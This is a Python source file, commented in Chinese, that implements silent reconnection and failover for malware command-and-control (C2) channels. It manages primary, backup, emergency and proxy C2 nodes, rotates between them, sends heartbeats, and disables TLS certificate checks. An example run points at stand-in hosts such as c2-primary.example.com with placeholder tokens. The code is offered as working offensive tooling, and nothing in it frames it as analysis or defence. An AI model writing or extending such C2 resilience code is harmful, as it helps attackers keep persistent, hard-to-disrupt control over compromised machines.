#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
断连重连和备用C2节点机制
实现通信中断后的静默重连逻辑，支持多C2节点和智能切换
"""

import os
import sys
import time
import random
import asyncio
import threading
import json
import hashlib
from typing import List, Dict, Optional, Callable, Any, Tuple
from dataclasses import dataclass, field
from enum import Enum
import socket
import ssl
from urllib.parse import urlparse

class ConnectionState(Enum):
    """连接状态"""
    DISCONNECTED = "disconnected"
    CONNECTING = "connecting"
    CONNECTED = "connected"
    RECONNECTING = "reconnecting"
    FAILED = "failed"
    SUSPENDED = "suspended"

class C2NodeType(Enum):
    """C2节点类型"""
    PRIMARY = "primary"
    BACKUP = "backup"
    EMERGENCY = "emergency"
    PROXY = "proxy"

@dataclass
class C2Node:
    """C2节点配置"""
    id: str
    url: str
    node_type: C2NodeType
    priority: int = 0
    protocol: str = "https"
    port: int = 443
    auth_token: Optional[str] = None
    last_seen: float = 0
    failure_count: int = 0
    response_time: float = 0
    reliability_score: float = 1.0
    max_failures: int = 5
    timeout: int = 30
    enabled: bool = True
    metadata: Dict[str, Any] = field(default_factory=dict)

@dataclass
class ReconnectionConfig:
    """重连配置"""
    max_retry_attempts: int = 10
    base_retry_interval: float = 5.0
    max_retry_interval: float = 300.0
    backoff_multiplier: float = 2.0
    jitter_range: Tuple[float, float] = (0.8, 1.2)
    health_check_interval: float = 60.0
    connection_timeout: float = 30.0
    keep_alive_interval: float = 30.0
    node_rotation_enabled: bool = True
    emergency_mode_threshold: int = 3
    silent_mode: bool = True

class ConnectionHealthMonitor:
    """连接健康监控器"""
    
    def __init__(self, config: ReconnectionConfig):
        self.config = config
        self.health_stats = {}
        self.monitoring_active = False
        self.monitor_thread = None
        
    def start_monitoring(self, nodes: List[C2Node], health_callback: Callable):
        """开始健康监控"""
        self.monitoring_active = True
        self.monitor_thread = threading.Thread(
            target=self._monitor_loop,
            args=(nodes, health_callback),
            daemon=True
        )
        self.monitor_thread.start()
    
    def stop_monitoring(self):
        """停止健康监控"""
        self.monitoring_active = False
        if self.monitor_thread:
            self.monitor_thread.join(timeout=5)
    
    def _monitor_loop(self, nodes: List[C2Node], health_callback: Callable):
        """监控循环"""
        while self.monitoring_active:
            try:
                for node in nodes:
                    if node.enabled:
                        health_status = self._check_node_health(node)
                        self.health_stats[node.id] = health_status
                        health_callback(node, health_status)
                
                time.sleep(self.config.health_check_interval)
                
            except Exception as e:
                if not self.config.silent_mode:
                    print(f"健康监控错误: {e}")
                time.sleep(10)  # 错误后短暂等待
    
    def _check_node_health(self, node: C2Node) -> Dict[str, Any]:
        """检查节点健康状态"""
        start_time = time.time()
        health_status = {
            'timestamp': start_time,
            'reachable': False,
            'response_time': 0,
            'error': None
        }
        
        try:
            # 解析URL
            parsed = urlparse(node.url)
            host = parsed.hostname
            port = parsed.port or node.port
            
            # 创建socket连接测试
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(node.timeout)
            
            if node.protocol.lower() == 'https':
                # HTTPS连接测试
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                with context.wrap_socket(sock, server_hostname=host) as ssock:
                    ssock.connect((host, port))
                    health_status['reachable'] = True
            else:
                # HTTP连接测试
                sock.connect((host, port))
                health_status['reachable'] = True
            
            sock.close()
            
            # 计算响应时间
            health_status['response_time'] = time.time() - start_time
            
            # 更新节点统计
            node.last_seen = time.time()
            node.response_time = health_status['response_time']
            if health_status['reachable']:
                node.failure_count = 0
                node.reliability_score = min(1.0, node.reliability_score + 0.1)
            
        except Exception as e:
            health_status['error'] = str(e)
            node.failure_count += 1
            node.reliability_score = max(0.0, node.reliability_score - 0.2)
            
            # 如果失败次数过多，禁用节点
            if node.failure_count >= node.max_failures:
                node.enabled = False
        
        return health_status

class C2NodeManager:
    """C2节点管理器"""
    
    def __init__(self, config: ReconnectionConfig):
        self.config = config
        self.nodes: List[C2Node] = []
        self.current_node: Optional[C2Node] = None
        self.node_index = 0
        self.emergency_mode = False
        
    def add_node(self, node: C2Node):
        """添加C2节点"""
        self.nodes.append(node)
        self._sort_nodes()
    
    def add_nodes(self, nodes: List[C2Node]):
        """批量添加C2节点"""
        self.nodes.extend(nodes)
        self._sort_nodes()
    
    def _sort_nodes(self):
        """按优先级和可靠性排序节点"""
        self.nodes.sort(key=lambda x: (
            x.node_type.value,  # 按类型排序
            -x.priority,        # 按优先级排序（降序）
            -x.reliability_score,  # 按可靠性排序（降序）
            x.failure_count     # 按失败次数排序（升序）
        ))
    
    def get_next_node(self) -> Optional[C2Node]:
        """获取下一个可用节点"""
        if not self.nodes:
            return None
        
        # 过滤可用节点
        available_nodes = [node for node in self.nodes if node.enabled]
        
        if not available_nodes:
            # 如果没有可用节点，进入紧急模式
            self.emergency_mode = True
            return self._get_emergency_node()
        
        # 如果在紧急模式，优先选择紧急节点
        if self.emergency_mode:
            emergency_nodes = [node for node in available_nodes 
                             if node.node_type == C2NodeType.EMERGENCY]
            if emergency_nodes:
                return emergency_nodes[0]
        
        # 正常模式：按优先级选择
        if self.config.node_rotation_enabled:
            # 轮询模式
            self.node_index = (self.node_index + 1) % len(available_nodes)
            return available_nodes[self.node_index]
        else:
            # 优先级模式
            return available_nodes[0]
    
    def _get_emergency_node(self) -> Optional[C2Node]:
        """获取紧急节点"""
        # 重新启用所有节点，降低标准
        for node in self.nodes:
            if node.failure_count < node.max_failures * 2:
                node.enabled = True
                node.failure_count = min(node.failure_count, node.max_failures - 1)
        
        # 返回最可靠的节点
        available_nodes = [node for node in self.nodes if node.enabled]
        if available_nodes:
            return max(available_nodes, key=lambda x: x.reliability_score)
        
        return None
    
    def mark_node_failed(self, node: C2Node):
        """标记节点失败"""
        node.failure_count += 1
        node.reliability_score = max(0.0, node.reliability_score - 0.3)
        
        if node.failure_count >= node.max_failures:
            node.enabled = False
        
        # 检查是否需要进入紧急模式
        active_nodes = sum(1 for n in self.nodes if n.enabled)
        if active_nodes <= self.config.emergency_mode_threshold:
            self.emergency_mode = True
    
    def mark_node_success(self, node: C2Node):
        """标记节点成功"""
        node.failure_count = 0
        node.reliability_score = min(1.0, node.reliability_score + 0.2)
        node.last_seen = time.time()
        
        # 退出紧急模式
        if self.emergency_mode:
            active_nodes = sum(1 for n in self.nodes if n.enabled and n.reliability_score > 0.5)
            if active_nodes > self.config.emergency_mode_threshold:
                self.emergency_mode = False
    
    def get_node_stats(self) -> Dict[str, Any]:
        """获取节点统计信息"""
        return {
            'total_nodes': len(self.nodes),
            'active_nodes': sum(1 for n in self.nodes if n.enabled),
            'emergency_mode': self.emergency_mode,
            'current_node': self.current_node.id if self.current_node else None,
            'nodes': [
                {
                    'id': node.id,
                    'type': node.node_type.value,
                    'enabled': node.enabled,
                    'failures': node.failure_count,
                    'reliability': node.reliability_score,
                    'last_seen': node.last_seen
                }
                for node in self.nodes
            ]
        }

class ReconnectionManager:
    """重连管理器"""
    
    def __init__(self, config: ReconnectionConfig = None):
        self.config = config or ReconnectionConfig()
        self.node_manager = C2NodeManager(self.config)
        self.health_monitor = ConnectionHealthMonitor(self.config)
        
        self.connection_state = ConnectionState.DISCONNECTED
        self.retry_count = 0
        self.last_connection_time = 0
        self.reconnection_active = False
        self.reconnection_thread = None
        
        # 回调函数
        self.on_connected: Optional[Callable] = None
        self.on_disconnected: Optional[Callable] = None
        self.on_reconnecting: Optional[Callable] = None
        self.on_failed: Optional[Callable] = None
        
        # 连接保持
        self.keep_alive_active = False
        self.keep_alive_thread = None
    
    def initialize(self, nodes: List[C2Node]):
        """初始化重连管理器"""
        self.node_manager.add_nodes(nodes)
        
        # 启动健康监控
        self.health_monitor.start_monitoring(
            self.node_manager.nodes,
            self._on_health_update
        )
    
    def connect(self) -> bool:
        """建立连接"""
        if self.connection_state == ConnectionState.CONNECTED:
            return True
        
        self.connection_state = ConnectionState.CONNECTING
        
        # 获取节点
        node = self.node_manager.get_next_node()
        if not node:
            self.connection_state = ConnectionState.FAILED
            if self.on_failed:
                self.on_failed("没有可用的C2节点")
            return False
        
        # 尝试连接
        success = self._attempt_connection(node)
        
        if success:
            self.connection_state = ConnectionState.CONNECTED
            self.node_manager.current_node = node
            self.node_manager.mark_node_success(node)
            self.last_connection_time = time.time()
            self.retry_count = 0
            
            # 启动保持连接
            self._start_keep_alive()
            
            if self.on_connected:
                self.on_connected(node)
            
            return True
        else:
            self.node_manager.mark_node_failed(node)
            self.connection_state = ConnectionState.DISCONNECTED
            
            # 启动重连
            self.start_reconnection()
            
            return False
    
    def disconnect(self):
        """断开连接"""
        self.connection_state = ConnectionState.DISCONNECTED
        self.stop_reconnection()
        self._stop_keep_alive()
        
        if self.on_disconnected:
            self.on_disconnected()
    
    def start_reconnection(self):
        """启动重连"""
        if self.reconnection_active:
            return
        
        self.reconnection_active = True
        self.reconnection_thread = threading.Thread(
            target=self._reconnection_loop,
            daemon=True
        )
        self.reconnection_thread.start()
    
    def stop_reconnection(self):
        """停止重连"""
        self.reconnection_active = False
        if self.reconnection_thread:
            self.reconnection_thread.join(timeout=5)
    
    def _reconnection_loop(self):
        """重连循环"""
        while self.reconnection_active and self.retry_count < self.config.max_retry_attempts:
            try:
                if self.connection_state == ConnectionState.CONNECTED:
                    break
                
                self.connection_state = ConnectionState.RECONNECTING
                self.retry_count += 1
                
                if self.on_reconnecting:
                    self.on_reconnecting(self.retry_count)
                
                # 计算重连延迟
                delay = self._calculate_retry_delay()
                
                if not self.config.silent_mode:
                    print(f"重连尝试 {self.retry_count}/{self.config.max_retry_attempts}，等待 {delay:.1f} 秒")
                
                time.sleep(delay)
                
                # 尝试连接
                if self.connect():
                    break
                
            except Exception as e:
                if not self.config.silent_mode:
                    print(f"重连过程中发生错误: {e}")
                time.sleep(5)
        
        # 重连失败
        if self.retry_count >= self.config.max_retry_attempts:
            self.connection_state = ConnectionState.FAILED
            if self.on_failed:
                self.on_failed(f"重连失败，已达到最大尝试次数 {self.config.max_retry_attempts}")
        
        self.reconnection_active = False
    
    def _calculate_retry_delay(self) -> float:
        """计算重连延迟"""
        # 指数退避算法
        delay = min(
            self.config.base_retry_interval * (self.config.backoff_multiplier ** (self.retry_count - 1)),
            self.config.max_retry_interval
        )
        
        # 添加随机抖动
        jitter_min, jitter_max = self.config.jitter_range
        jitter = random.uniform(jitter_min, jitter_max)
        
        return delay * jitter
    
    def _attempt_connection(self, node: C2Node) -> bool:
        """尝试连接到节点"""
        try:
            # 解析URL
            parsed = urlparse(node.url)
            host = parsed.hostname
            port = parsed.port or node.port
            
            # 创建socket连接
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.config.connection_timeout)
            
            if node.protocol.lower() == 'https':
                # HTTPS连接
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                with context.wrap_socket(sock, server_hostname=host) as ssock:
                    ssock.connect((host, port))
                    # 这里可以添加实际的握手逻辑
                    return True
            else:
                # HTTP连接
                sock.connect((host, port))
                sock.close()
                return True
                
        except Exception as e:
            if not self.config.silent_mode:
                print(f"连接节点 {node.id} 失败: {e}")
            return False
    
    def _start_keep_alive(self):
        """启动保持连接"""
        if self.keep_alive_active:
            return
        
        self.keep_alive_active = True
        self.keep_alive_thread = threading.Thread(
            target=self._keep_alive_loop,
            daemon=True
        )
        self.keep_alive_thread.start()
    
    def _stop_keep_alive(self):
        """停止保持连接"""
        self.keep_alive_active = False
        if self.keep_alive_thread:
            self.keep_alive_thread.join(timeout=5)
    
    def _keep_alive_loop(self):
        """保持连接循环"""
        while self.keep_alive_active and self.connection_state == ConnectionState.CONNECTED:
            try:
                time.sleep(self.config.keep_alive_interval)
                
                # 发送心跳包
                if not self._send_heartbeat():
                    # 心跳失败，触发重连
                    self.connection_state = ConnectionState.DISCONNECTED
                    self.start_reconnection()
                    break
                    
            except Exception as e:
                if not self.config.silent_mode:
                    print(f"保持连接错误: {e}")
                time.sleep(5)
    
    def _send_heartbeat(self) -> bool:
        """发送心跳包"""
        if not self.node_manager.current_node:
            return False
        
        try:
            # 这里应该实现实际的心跳逻辑
            # 简化实现：检查节点是否仍然可达
            node = self.node_manager.current_node
            health_status = self.health_monitor._check_node_health(node)
            return health_status['reachable']
            
        except Exception:
            return False
    
    def _on_health_update(self, node: C2Node, health_status: Dict[str, Any]):
        """健康状态更新回调"""
        if not health_status['reachable'] and node == self.node_manager.current_node:
            # 当前节点不可达，触发重连
            if self.connection_state == ConnectionState.CONNECTED:
                self.connection_state = ConnectionState.DISCONNECTED
                self.start_reconnection()
    
    def get_status(self) -> Dict[str, Any]:
        """获取连接状态"""
        return {
            'state': self.connection_state.value,
            'retry_count': self.retry_count,
            'last_connection': self.last_connection_time,
            'reconnection_active': self.reconnection_active,
            'current_node': self.node_manager.current_node.id if self.node_manager.current_node else None,
            'node_stats': self.node_manager.get_node_stats()
        }
    
    def cleanup(self):
        """清理资源"""
        self.stop_reconnection()
        self._stop_keep_alive()
        self.health_monitor.stop_monitoring()

# 使用示例
if __name__ == "__main__":
    # 创建C2节点
    nodes = [
        C2Node(
            id="primary-1",
            url="https://c2-primary.example.com",
            node_type=C2NodeType.PRIMARY,
            priority=10,
            auth_token="primary_token_123"
        ),
        C2Node(
            id="backup-1",
            url="https://c2-backup1.example.com",
            node_type=C2NodeType.BACKUP,
            priority=5,
            auth_token="backup_token_456"
        ),
        C2Node(
            id="backup-2",
            url="https://c2-backup2.example.com",
            node_type=C2NodeType.BACKUP,
            priority=3,
            auth_token="backup_token_789"
        ),
        C2Node(
            id="emergency-1",
            url="https://c2-emergency.example.com",
            node_type=C2NodeType.EMERGENCY,
            priority=1,
            auth_token="emergency_token_000"
        )
    ]
    
    # 创建重连配置
    config = ReconnectionConfig(
        max_retry_attempts=15,
        base_retry_interval=3.0,
        max_retry_interval=120.0,
        backoff_multiplier=1.5,
        health_check_interval=30.0,
        silent_mode=False
    )
    
    # 创建重连管理器
    reconnection_manager = ReconnectionManager(config)
    
    # 设置回调函数
    def on_connected(node):
        print(f"✓ 已连接到节点: {node.id} ({node.url})")
    
    def on_disconnected():
        print("✗ 连接已断开")
    
    def on_reconnecting(attempt):
        print(f"🔄 重连尝试 #{attempt}")
    
    def on_failed(reason):
        print(f"❌ 连接失败: {reason}")
    
    reconnection_manager.on_connected = on_connected
    reconnection_manager.on_disconnected = on_disconnected
    reconnection_manager.on_reconnecting = on_reconnecting
    reconnection_manager.on_failed = on_failed
    
    # 初始化并连接
    reconnection_manager.initialize(nodes)
    
    print("开始连接...")
    success = reconnection_manager.connect()
    
    if success:
        print("\\n连接成功！")
        
        # 显示状态
        status = reconnection_manager.get_status()
        print(f"\\n当前状态: {json.dumps(status, indent=2)}")
        
        # 模拟运行一段时间
        try:
            time.sleep(60)
        except KeyboardInterrupt:
            print("\\n正在断开连接...")
    
    # 清理
    reconnection_manager.cleanup()
    print("重连管理器已清理")